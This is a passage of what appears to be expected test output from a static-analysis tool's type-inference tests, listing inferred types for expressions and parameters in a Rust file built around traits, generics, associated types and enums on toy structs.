main.rs:170:5:173:5 | MyThing | +| main.rs:387:28:387:32 | thing | A | main.rs:181:5:182:14 | S1 | +| main.rs:396:26:396:29 | SelfParam | | main.rs:395:5:399:5 | Self [trait OverlappingTrait] | +| main.rs:398:28:398:31 | SelfParam | | main.rs:395:5:399:5 | Self [trait OverlappingTrait] | +| main.rs:398:34:398:35 | s1 | | main.rs:392:5:393:14 | S1 | +| main.rs:403:26:403:29 | SelfParam | | main.rs:392:5:393:14 | S1 | +| main.rs:403:38:405:9 | { ... } | | main.rs:392:5:393:14 | S1 | +| main.rs:404:20:404:31 | "not called" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:408:28:408:31 | SelfParam | | main.rs:392:5:393:14 | S1 | +| main.rs:408:34:408:35 | s1 | | main.rs:392:5:393:14 | S1 | +| main.rs:408:48:410:9 | { ... } | | main.rs:392:5:393:14 | S1 | +| main.rs:409:20:409:31 | "not called" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:415:26:415:29 | SelfParam | | main.rs:392:5:393:14 | S1 | +| main.rs:415:38:417:9 | { ... } | | main.rs:392:5:393:14 | S1 | +| main.rs:416:13:416:16 | self | | main.rs:392:5:393:14 | S1 | +| main.rs:420:28:420:31 | SelfParam | | main.rs:392:5:393:14 | S1 | +| main.rs:420:40:422:9 | { ... } | | main.rs:392:5:393:14 | S1 | +| main.rs:421:13:421:16 | self | | main.rs:392:5:393:14 | S1 | +| main.rs:426:13:426:13 | x | | main.rs:392:5:393:14 | S1 | +| main.rs:426:17:426:18 | S1 | | main.rs:392:5:393:14 | S1 | +| main.rs:427:18:427:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:427:26:427:26 | x | | main.rs:392:5:393:14 | S1 | +| main.rs:427:26:427:42 | x.common_method() | | main.rs:392:5:393:14 | S1 | +| main.rs:428:18:428:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:428:26:428:26 | x | | main.rs:392:5:393:14 | S1 | +| main.rs:428:26:428:44 | x.common_method_2() | | main.rs:392:5:393:14 | S1 | +| main.rs:445:19:445:22 | SelfParam | | main.rs:443:5:446:5 | Self [trait FirstTrait] | +| main.rs:450:19:450:22 | SelfParam | | main.rs:448:5:451:5 | Self [trait SecondTrait] | +| main.rs:453:64:453:64 | x | | main.rs:453:45:453:61 | T | +| main.rs:455:13:455:14 | s1 | | main.rs:453:35:453:42 | I | +| main.rs:455:18:455:18 | x | | main.rs:453:45:453:61 | T | +| main.rs:455:18:455:27 | x.method() | | main.rs:453:35:453:42 | I | +| main.rs:456:18:456:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:456:26:456:27 | s1 | | main.rs:453:35:453:42 | I | +| main.rs:459:65:459:65 | x | | main.rs:459:46:459:62 | T | +| main.rs:461:13:461:14 | s2 | | main.rs:459:36:459:43 | I | +| main.rs:461:18:461:18 | x | | main.rs:459:46:459:62 | T | +| main.rs:461:18:461:27 | x.method() | | main.rs:459:36:459:43 | I | +| main.rs:462:18:462:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:462:26:462:27 | s2 | | main.rs:459:36:459:43 | I | +| main.rs:465:49:465:49 | x | | main.rs:465:30:465:46 | T | +| main.rs:466:13:466:13 | s | | main.rs:435:5:436:14 | S1 | +| main.rs:466:17:466:17 | x | | main.rs:465:30:465:46 | T | +| main.rs:466:17:466:26 | x.method() | | main.rs:435:5:436:14 | S1 | +| main.rs:467:18:467:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:467:26:467:26 | s | | main.rs:435:5:436:14 | S1 | +| main.rs:470:53:470:53 | x | | main.rs:470:34:470:50 | T | +| main.rs:471:13:471:13 | s | | main.rs:435:5:436:14 | S1 | +| main.rs:471:17:471:17 | x | | main.rs:470:34:470:50 | T | +| main.rs:471:17:471:26 | x.method() | | main.rs:435:5:436:14 | S1 | +| main.rs:472:18:472:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:472:26:472:26 | s | | main.rs:435:5:436:14 | S1 | +| main.rs:476:16:476:19 | SelfParam | | main.rs:475:5:479:5 | Self [trait Pair] | +| main.rs:478:16:478:19 | SelfParam | | main.rs:475:5:479:5 | Self [trait Pair] | +| main.rs:481:58:481:58 | x | | main.rs:481:41:481:55 | T | +| main.rs:481:64:481:64 | y | | main.rs:481:41:481:55 | T | +| main.rs:483:13:483:14 | s1 | | main.rs:435:5:436:14 | S1 | +| main.rs:483:18:483:18 | x | | main.rs:481:41:481:55 | T | +| main.rs:483:18:483:24 | x.fst() | | main.rs:435:5:436:14 | S1 | +| main.rs:484:13:484:14 | s2 | | main.rs:438:5:439:14 | S2 | +| main.rs:484:18:484:18 | y | | main.rs:481:41:481:55 | T | +| main.rs:484:18:484:24 | y.snd() | | main.rs:438:5:439:14 | S2 | +| main.rs:485:18:485:29 | "{:?}, {:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:485:32:485:33 | s1 | | main.rs:435:5:436:14 | S1 | +| main.rs:485:36:485:37 | s2 | | main.rs:438:5:439:14 | S2 | +| main.rs:488:69:488:69 | x | | main.rs:488:52:488:66 | T | +| main.rs:488:75:488:75 | y | | main.rs:488:52:488:66 | T | +| main.rs:490:13:490:14 | s1 | | main.rs:435:5:436:14 | S1 | +| main.rs:490:18:490:18 | x | | main.rs:488:52:488:66 | T | +| main.rs:490:18:490:24 | x.fst() | | main.rs:435:5:436:14 | S1 | +| main.rs:491:13:491:14 | s2 | | main.rs:488:41:488:49 | T2 | +| main.rs:491:18:491:18 | y | | main.rs:488:52:488:66 | T | +| main.rs:491:18:491:24 | y.snd() | | main.rs:488:41:488:49 | T2 | +| main.rs:492:18:492:29 | "{:?}, {:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:492:32:492:33 | s1 | | main.rs:435:5:436:14 | S1 | +| main.rs:492:36:492:37 | s2 | | main.rs:488:41:488:49 | T2 | +| main.rs:508:15:508:18 | SelfParam | | main.rs:507:5:516:5 | Self [trait MyTrait] | +| main.rs:510:15:510:18 | SelfParam | | main.rs:507:5:516:5 | Self [trait MyTrait] | +| main.rs:513:9:515:9 | { ... } | | main.rs:507:19:507:19 | A | +| main.rs:514:13:514:16 | self | | main.rs:507:5:516:5 | Self [trait MyTrait] | +| main.rs:514:13:514:21 | self.m1() | | main.rs:507:19:507:19 | A | +| main.rs:519:43:519:43 | x | | main.rs:519:26:519:40 | T2 | +| main.rs:519:56:521:5 | { ... } | | main.rs:519:22:519:23 | T1 | +| main.rs:520:9:520:9 | x | | main.rs:519:26:519:40 | T2 | +| main.rs:520:9:520:14 | x.m1() | | main.rs:519:22:519:23 | T1 | +| main.rs:524:49:524:49 | x | | main.rs:497:5:500:5 | MyThing | +| main.rs:524:49:524:49 | x | T | main.rs:524:32:524:46 | T2 | +| main.rs:524:71:526:5 | { ... } | | main.rs:524:28:524:29 | T1 | +| main.rs:525:9:525:9 | x | | main.rs:497:5:500:5 | MyThing | +| main.rs:525:9:525:9 | x | T | main.rs:524:32:524:46 | T2 | +| main.rs:525:9:525:11 | x.a | | main.rs:524:32:524:46 | T2 | +| main.rs:525:9:525:16 | ... .m1() | | main.rs:524:28:524:29 | T1 | +| main.rs:529:15:529:18 | SelfParam | | main.rs:497:5:500:5 | MyThing | +| main.rs:529:15:529:18 | SelfParam | T | main.rs:528:10:528:10 | T | +| main.rs:529:26:531:9 | { ... } | | main.rs:528:10:528:10 | T | +| main.rs:530:13:530:16 | self | | main.rs:497:5:500:5 | MyThing | +| main.rs:530:13:530:16 | self | T | main.rs:528:10:528:10 | T | +| main.rs:530:13:530:18 | self.a | | main.rs:528:10:528:10 | T | +| main.rs:535:13:535:13 | x | | main.rs:497:5:500:5 | MyThing | +| main.rs:535:13:535:13 | x | T | main.rs:502:5:503:14 | S1 | +| main.rs:535:17:535:33 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:535:17:535:33 | MyThing {...} | T | main.rs:502:5:503:14 | S1 | +| main.rs:535:30:535:31 | S1 | | main.rs:502:5:503:14 | S1 | +| main.rs:536:13:536:13 | y | | main.rs:497:5:500:5 | MyThing | +| main.rs:536:13:536:13 | y | T | main.rs:504:5:505:14 | S2 | +| main.rs:536:17:536:33 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:536:17:536:33 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | +| main.rs:536:30:536:31 | S2 | | main.rs:504:5:505:14 | S2 | +| main.rs:538:18:538:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:538:26:538:26 | x | | main.rs:497:5:500:5 | MyThing | +| main.rs:538:26:538:26 | x | T | main.rs:502:5:503:14 | S1 | +| main.rs:538:26:538:31 | x.m1() | | main.rs:502:5:503:14 | S1 | +| main.rs:539:18:539:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:539:26:539:26 | y | | main.rs:497:5:500:5 | MyThing | +| main.rs:539:26:539:26 | y | T | main.rs:504:5:505:14 | S2 | +| main.rs:539:26:539:31 | y.m1() | | main.rs:504:5:505:14 | S2 | +| main.rs:541:13:541:13 | x | | main.rs:497:5:500:5 | MyThing | +| main.rs:541:13:541:13 | x | T | main.rs:502:5:503:14 | S1 | +| main.rs:541:17:541:33 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:541:17:541:33 | MyThing {...} | T | main.rs:502:5:503:14 | S1 | +| main.rs:541:30:541:31 | S1 | | main.rs:502:5:503:14 | S1 | +| main.rs:542:13:542:13 | y | | main.rs:497:5:500:5 | MyThing | +| main.rs:542:13:542:13 | y | T | main.rs:504:5:505:14 | S2 | +| main.rs:542:17:542:33 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:542:17:542:33 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | +| main.rs:542:30:542:31 | S2 | | main.rs:504:5:505:14 | S2 | +| main.rs:544:18:544:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:544:26:544:26 | x | | main.rs:497:5:500:5 | MyThing | +| main.rs:544:26:544:26 | x | T | main.rs:502:5:503:14 | S1 | +| main.rs:544:26:544:31 | x.m2() | | main.rs:502:5:503:14 | S1 | +| main.rs:545:18:545:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:545:26:545:26 | y | | main.rs:497:5:500:5 | MyThing | +| main.rs:545:26:545:26 | y | T | main.rs:504:5:505:14 | S2 | +| main.rs:545:26:545:31 | y.m2() | | main.rs:504:5:505:14 | S2 | +| main.rs:547:13:547:14 | x2 | | main.rs:497:5:500:5 | MyThing | +| main.rs:547:13:547:14 | x2 | T | main.rs:502:5:503:14 | S1 | +| main.rs:547:18:547:34 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:547:18:547:34 | MyThing {...} | T | main.rs:502:5:503:14 | S1 | +| main.rs:547:31:547:32 | S1 | | main.rs:502:5:503:14 | S1 | +| main.rs:548:13:548:14 | y2 | | main.rs:497:5:500:5 | MyThing | +| main.rs:548:13:548:14 | y2 | T | main.rs:504:5:505:14 | S2 | +| main.rs:548:18:548:34 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:548:18:548:34 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | +| main.rs:548:31:548:32 | S2 | | main.rs:504:5:505:14 | S2 | +| main.rs:550:18:550:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:550:26:550:42 | call_trait_m1(...) | | main.rs:502:5:503:14 | S1 | +| main.rs:550:40:550:41 | x2 | | main.rs:497:5:500:5 | MyThing | +| main.rs:550:40:550:41 | x2 | T | main.rs:502:5:503:14 | S1 | +| main.rs:551:18:551:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:551:26:551:42 | call_trait_m1(...) | | main.rs:504:5:505:14 | S2 | +| main.rs:551:40:551:41 | y2 | | main.rs:497:5:500:5 | MyThing | +| main.rs:551:40:551:41 | y2 | T | main.rs:504:5:505:14 | S2 | +| main.rs:553:13:553:14 | x3 | | main.rs:497:5:500:5 | MyThing | +| main.rs:553:13:553:14 | x3 | T | main.rs:497:5:500:5 | MyThing | +| main.rs:553:13:553:14 | x3 | T.T | main.rs:502:5:503:14 | S1 | +| main.rs:553:18:555:9 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:553:18:555:9 | MyThing {...} | T | main.rs:497:5:500:5 | MyThing | +| main.rs:553:18:555:9 | MyThing {...} | T.T | main.rs:502:5:503:14 | S1 | +| main.rs:554:16:554:32 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:554:16:554:32 | MyThing {...} | T | main.rs:502:5:503:14 | S1 | +| main.rs:554:29:554:30 | S1 | | main.rs:502:5:503:14 | S1 | +| main.rs:556:13:556:14 | y3 | | main.rs:497:5:500:5 | MyThing | +| main.rs:556:13:556:14 | y3 | T | main.rs:497:5:500:5 | MyThing | +| main.rs:556:13:556:14 | y3 | T.T | main.rs:504:5:505:14 | S2 | +| main.rs:556:18:558:9 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:556:18:558:9 | MyThing {...} | T | main.rs:497:5:500:5 | MyThing | +| main.rs:556:18:558:9 | MyThing {...} | T.T | main.rs:504:5:505:14 | S2 | +| main.rs:557:16:557:32 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | +| main.rs:557:16:557:32 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | +| main.rs:557:29:557:30 | S2 | | main.rs:504:5:505:14 | S2 | +| main.rs:560:13:560:13 | a | | main.rs:502:5:503:14 | S1 | +| main.rs:560:17:560:39 | call_trait_thing_m1(...) | | main.rs:502:5:503:14 | S1 | +| main.rs:560:37:560:38 | x3 | | main.rs:497:5:500:5 | MyThing | +| main.rs:560:37:560:38 | x3 | T | main.rs:497:5:500:5 | MyThing | +| main.rs:560:37:560:38 | x3 | T.T | main.rs:502:5:503:14 | S1 | +| main.rs:561:18:561:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:561:26:561:26 | a | | main.rs:502:5:503:14 | S1 | +| main.rs:562:13:562:13 | b | | main.rs:504:5:505:14 | S2 | +| main.rs:562:17:562:39 | call_trait_thing_m1(...) | | main.rs:504:5:505:14 | S2 | +| main.rs:562:37:562:38 | y3 | | main.rs:497:5:500:5 | MyThing | +| main.rs:562:37:562:38 | y3 | T | main.rs:497:5:500:5 | MyThing | +| main.rs:562:37:562:38 | y3 | T.T | main.rs:504:5:505:14 | S2 | +| main.rs:563:18:563:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:563:26:563:26 | b | | main.rs:504:5:505:14 | S2 | +| main.rs:574:19:574:22 | SelfParam | | main.rs:568:5:571:5 | Wrapper | +| main.rs:574:19:574:22 | SelfParam | A | main.rs:573:10:573:10 | A | +| main.rs:574:30:576:9 | { ... } | | main.rs:573:10:573:10 | A | +| main.rs:575:13:575:16 | self | | main.rs:568:5:571:5 | Wrapper | +| main.rs:575:13:575:16 | self | A | main.rs:573:10:573:10 | A | +| main.rs:575:13:575:22 | self.field | | main.rs:573:10:573:10 | A | +| main.rs:583:15:583:18 | SelfParam | | main.rs:579:5:593:5 | Self [trait MyTrait] | +| main.rs:585:15:585:18 | SelfParam | | main.rs:579:5:593:5 | Self [trait MyTrait] | +| main.rs:589:9:592:9 | { ... } | | main.rs:580:9:580:28 | AssociatedType | +| main.rs:590:13:590:16 | self | | main.rs:579:5:593:5 | Self [trait MyTrait] | +| main.rs:590:13:590:21 | self.m1() | | main.rs:580:9:580:28 | AssociatedType | +| main.rs:591:13:591:43 | ...::default(...) | | main.rs:580:9:580:28 | AssociatedType | +| main.rs:599:19:599:23 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:599:19:599:23 | SelfParam | &T | main.rs:595:5:605:5 | Self [trait MyTraitAssoc2] | +| main.rs:599:26:599:26 | a | | main.rs:599:16:599:16 | A | +| main.rs:601:22:601:26 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:601:22:601:26 | SelfParam | &T | main.rs:595:5:605:5 | Self [trait MyTraitAssoc2] | +| main.rs:601:29:601:29 | a | | main.rs:601:19:601:19 | A | +| main.rs:601:35:601:35 | b | | main.rs:601:19:601:19 | A | +| main.rs:601:75:604:9 | { ... } | | main.rs:596:9:596:52 | GenericAssociatedType | +| main.rs:602:13:602:16 | self | | file://:0:0:0:0 | & | +| main.rs:602:13:602:16 | self | &T | main.rs:595:5:605:5 | Self [trait MyTraitAssoc2] | +| main.rs:602:13:602:23 | self.put(...) | | main.rs:596:9:596:52 | GenericAssociatedType | +| main.rs:602:22:602:22 | a | | main.rs:601:19:601:19 | A | +| main.rs:603:13:603:16 | self | | file://:0:0:0:0 | & | +| main.rs:603:13:603:16 | self | &T | main.rs:595:5:605:5 | Self [trait MyTraitAssoc2] | +| main.rs:603:13:603:23 | self.put(...) | | main.rs:596:9:596:52 | GenericAssociatedType | +| main.rs:603:22:603:22 | b | | main.rs:601:19:601:19 | A | +| main.rs:612:21:612:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:612:21:612:25 | SelfParam | &T | main.rs:607:5:617:5 | Self [trait TraitMultipleAssoc] | +| main.rs:614:20:614:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:614:20:614:24 | SelfParam | &T | main.rs:607:5:617:5 | Self [trait TraitMultipleAssoc] | +| main.rs:616:20:616:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:616:20:616:24 | SelfParam | &T | main.rs:607:5:617:5 | Self [trait TraitMultipleAssoc] | +| main.rs:632:15:632:18 | SelfParam | | main.rs:619:5:620:13 | S | +| main.rs:632:45:634:9 | { ... } | | main.rs:625:5:626:14 | AT | +| main.rs:633:13:633:14 | AT | | main.rs:625:5:626:14 | AT | +| main.rs:642:19:642:23 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:642:19:642:23 | SelfParam | &T | main.rs:619:5:620:13 | S | +| main.rs:642:26:642:26 | a | | main.rs:642:16:642:16 | A | +| main.rs:642:46:644:9 | { ... } | | main.rs:568:5:571:5 | Wrapper | +| main.rs:642:46:644:9 | { ... } | A | main.rs:642:16:642:16 | A | +| main.rs:643:13:643:32 | Wrapper {...} | | main.rs:568:5:571:5 | Wrapper | +| main.rs:643:13:643:32 | Wrapper {...} | A | main.rs:642:16:642:16 | A | +| main.rs:643:30:643:30 | a | | main.rs:642:16:642:16 | A | +| main.rs:651:15:651:18 | SelfParam | | main.rs:622:5:623:14 | S2 | +| main.rs:651:45:653:9 | { ... } | | main.rs:568:5:571:5 | Wrapper | +| main.rs:651:45:653:9 | { ... } | A | main.rs:622:5:623:14 | S2 | +| main.rs:652:13:652:35 | Wrapper {...} | | main.rs:568:5:571:5 | Wrapper | +| main.rs:652:13:652:35 | Wrapper {...} | A | main.rs:622:5:623:14 | S2 | +| main.rs:652:30:652:33 | self | | main.rs:622:5:623:14 | S2 | +| main.rs:658:30:660:9 | { ... } | | main.rs:568:5:571:5 | Wrapper | +| main.rs:658:30:660:9 | { ... } | A | main.rs:622:5:623:14 | S2 | +| main.rs:659:13:659:33 | Wrapper {...} | | main.rs:568:5:571:5 | Wrapper | +| main.rs:659:13:659:33 | Wrapper {...} | A | main.rs:622:5:623:14 | S2 | +| main.rs:659:30:659:31 | S2 | | main.rs:622:5:623:14 | S2 | +| main.rs:664:22:664:26 | thing | | main.rs:664:10:664:19 | T | +| main.rs:665:9:665:13 | thing | | main.rs:664:10:664:19 | T | +| main.rs:672:21:672:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:672:21:672:25 | SelfParam | &T | main.rs:625:5:626:14 | AT | +| main.rs:672:34:674:9 | { ... } | | main.rs:625:5:626:14 | AT | +| main.rs:673:13:673:14 | AT | | main.rs:625:5:626:14 | AT | +| main.rs:676:20:676:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:676:20:676:24 | SelfParam | &T | main.rs:625:5:626:14 | AT | +| main.rs:676:43:678:9 | { ... } | | main.rs:619:5:620:13 | S | +| main.rs:677:13:677:13 | S | | main.rs:619:5:620:13 | S | +| main.rs:680:20:680:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:680:20:680:24 | SelfParam | &T | main.rs:625:5:626:14 | AT | +| main.rs:680:43:682:9 | { ... } | | main.rs:622:5:623:14 | S2 | +| main.rs:681:13:681:14 | S2 | | main.rs:622:5:623:14 | S2 | +| main.rs:686:13:686:14 | x1 | | main.rs:619:5:620:13 | S | +| main.rs:686:18:686:18 | S | | main.rs:619:5:620:13 | S | +| main.rs:688:18:688:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:688:26:688:27 | x1 | | main.rs:619:5:620:13 | S | +| main.rs:688:26:688:32 | x1.m1() | | main.rs:625:5:626:14 | AT | +| main.rs:690:13:690:14 | x2 | | main.rs:619:5:620:13 | S | +| main.rs:690:18:690:18 | S | | main.rs:619:5:620:13 | S | +| main.rs:692:13:692:13 | y | | main.rs:625:5:626:14 | AT | +| main.rs:692:17:692:18 | x2 | | main.rs:619:5:620:13 | S | +| main.rs:692:17:692:23 | x2.m2() | | main.rs:625:5:626:14 | AT | +| main.rs:693:18:693:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:693:26:693:26 | y | | main.rs:625:5:626:14 | AT | +| main.rs:695:13:695:14 | x3 | | main.rs:619:5:620:13 | S | +| main.rs:695:18:695:18 | S | | main.rs:619:5:620:13 | S | +| main.rs:697:18:697:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:697:26:697:27 | x3 | | main.rs:619:5:620:13 | S | +| main.rs:697:26:697:34 | x3.put(...) | | main.rs:568:5:571:5 | Wrapper | +| main.rs:697:26:697:34 | x3.put(...) | A | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:697:26:697:43 | ... .unwrap() | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:697:33:697:33 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:700:18:700:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:700:26:700:27 | x3 | | main.rs:619:5:620:13 | S | +| main.rs:700:36:700:36 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:700:39:700:39 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:702:20:702:20 | S | | main.rs:619:5:620:13 | S | +| main.rs:703:18:703:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:705:13:705:14 | x5 | | main.rs:622:5:623:14 | S2 | +| main.rs:705:18:705:19 | S2 | | main.rs:622:5:623:14 | S2 | +| main.rs:706:18:706:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:706:26:706:27 | x5 | | main.rs:622:5:623:14 | S2 | +| main.rs:706:26:706:32 | x5.m1() | | main.rs:568:5:571:5 | Wrapper | +| main.rs:706:26:706:32 | x5.m1() | A | main.rs:622:5:623:14 | S2 | +| main.rs:707:13:707:14 | x6 | | main.rs:622:5:623:14 | S2 | +| main.rs:707:18:707:19 | S2 | | main.rs:622:5:623:14 | S2 | +| main.rs:708:18:708:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:708:26:708:27 | x6 | | main.rs:622:5:623:14 | S2 | +| main.rs:708:26:708:32 | x6.m2() | | main.rs:568:5:571:5 | Wrapper | +| main.rs:708:26:708:32 | x6.m2() | A | main.rs:622:5:623:14 | S2 | +| main.rs:710:13:710:22 | assoc_zero | | main.rs:625:5:626:14 | AT | +| main.rs:710:26:710:27 | AT | | main.rs:625:5:626:14 | AT | +| main.rs:710:26:710:38 | AT.get_zero() | | main.rs:625:5:626:14 | AT | +| main.rs:711:13:711:21 | assoc_one | | main.rs:619:5:620:13 | S | +| main.rs:711:25:711:26 | AT | | main.rs:625:5:626:14 | AT | +| main.rs:711:25:711:36 | AT.get_one() | | main.rs:619:5:620:13 | S | +| main.rs:712:13:712:21 | assoc_two | | main.rs:622:5:623:14 | S2 | +| main.rs:712:25:712:26 | AT | | main.rs:625:5:626:14 | AT | +| main.rs:712:25:712:36 | AT.get_two() | | main.rs:622:5:623:14 | S2 | +| main.rs:729:15:729:18 | SelfParam | | main.rs:717:5:721:5 | MyEnum | +| main.rs:729:15:729:18 | SelfParam | A | main.rs:728:10:728:10 | T | +| main.rs:729:26:734:9 | { ... } | | main.rs:728:10:728:10 | T | +| main.rs:730:13:733:13 | match self { ... } | | main.rs:728:10:728:10 | T | +| main.rs:730:19:730:22 | self | | main.rs:717:5:721:5 | MyEnum | +| main.rs:730:19:730:22 | self | A | main.rs:728:10:728:10 | T | +| main.rs:731:28:731:28 | a | | main.rs:728:10:728:10 | T | +| main.rs:731:34:731:34 | a | | main.rs:728:10:728:10 | T | +| main.rs:732:30:732:30 | a | | main.rs:728:10:728:10 | T | +| main.rs:732:37:732:37 | a | | main.rs:728:10:728:10 | T | +| main.rs:738:13:738:13 | x | | main.rs:717:5:721:5 | MyEnum | +| main.rs:738:13:738:13 | x | A | main.rs:723:5:724:14 | S1 | +| main.rs:738:17:738:30 | ...::C1(...) | | main.rs:717:5:721:5 | MyEnum | +| main.rs:738:17:738:30 | ...::C1(...) | A | main.rs:723:5:724:14 | S1 | +| main.rs:738:28:738:29 | S1 | | main.rs:723:5:724:14 | S1 | +| main.rs:739:13:739:13 | y | | main.rs:717:5:721:5 | MyEnum | +| main.rs:739:13:739:13 | y | A | main.rs:725:5:726:14 | S2 | +| main.rs:739:17:739:36 | ...::C2 {...} | | main.rs:717:5:721:5 | MyEnum | +| main.rs:739:17:739:36 | ...::C2 {...} | A | main.rs:725:5:726:14 | S2 | +| main.rs:739:33:739:34 | S2 | | main.rs:725:5:726:14 | S2 | +| main.rs:741:18:741:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:741:26:741:26 | x | | main.rs:717:5:721:5 | MyEnum | +| main.rs:741:26:741:26 | x | A | main.rs:723:5:724:14 | S1 | +| main.rs:741:26:741:31 | x.m1() | | main.rs:723:5:724:14 | S1 | +| main.rs:742:18:742:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:742:26:742:26 | y | | main.rs:717:5:721:5 | MyEnum | +| main.rs:742:26:742:26 | y | A | main.rs:725:5:726:14 | S2 | +| main.rs:742:26:742:31 | y.m1() | | main.rs:725:5:726:14 | S2 | +| main.rs:764:15:764:18 | SelfParam | | main.rs:762:5:765:5 | Self [trait MyTrait1] | +| main.rs:768:15:768:18 | SelfParam | | main.rs:767:5:778:5 | Self [trait MyTrait2] | +| main.rs:771:9:777:9 | { ... } | | main.rs:767:20:767:22 | Tr2 | +| main.rs:772:13:776:13 | if ... {...} else {...} | | main.rs:767:20:767:22 | Tr2 | +| main.rs:772:16:772:16 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:772:20:772:20 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:772:24:772:24 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:772:26:774:13 | { ... } | | main.rs:767:20:767:22 | Tr2 | +| main.rs:773:17:773:20 | self | | main.rs:767:5:778:5 | Self [trait MyTrait2] | +| main.rs:773:17:773:25 | self.m1() | | main.rs:767:20:767:22 | Tr2 | +| main.rs:774:20:776:13 | { ... } | | main.rs:767:20:767:22 | Tr2 | +| main.rs:775:17:775:30 | ...::m1(...) | | main.rs:767:20:767:22 | Tr2 | +| main.rs:775:26:775:29 | self | | main.rs:767:5:778:5 | Self [trait MyTrait2] | +| main.rs:781:15:781:18 | SelfParam | | main.rs:780:5:791:5 | Self [trait MyTrait3] | +| main.rs:784:9:790:9 | { ... } | | main.rs:780:20:780:22 | Tr3 | +| main.rs:785:13:789:13 | if ... {...} else {...} | | main.rs:780:20:780:22 | Tr3 | +| main.rs:785:16:785:16 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:785:20:785:20 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:785:24:785:24 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:785:26:787:13 | { ... } | | main.rs:780:20:780:22 | Tr3 | +| main.rs:786:17:786:20 | self | | main.rs:780:5:791:5 | Self [trait MyTrait3] | +| main.rs:786:17:786:25 | self.m2() | | main.rs:747:5:750:5 | MyThing | +| main.rs:786:17:786:25 | self.m2() | A | main.rs:780:20:780:22 | Tr3 | +| main.rs:786:17:786:27 | ... .a | | main.rs:780:20:780:22 | Tr3 | +| main.rs:787:20:789:13 | { ... } | | main.rs:780:20:780:22 | Tr3 | +| main.rs:788:17:788:30 | ...::m2(...) | | main.rs:747:5:750:5 | MyThing | +| main.rs:788:17:788:30 | ...::m2(...) | A | main.rs:780:20:780:22 | Tr3 | +| main.rs:788:17:788:32 | ... .a | | main.rs:780:20:780:22 | Tr3 | +| main.rs:788:26:788:29 | self | | main.rs:780:5:791:5 | Self [trait MyTrait3] | +| main.rs:795:15:795:18 | SelfParam | | main.rs:747:5:750:5 | MyThing | +| 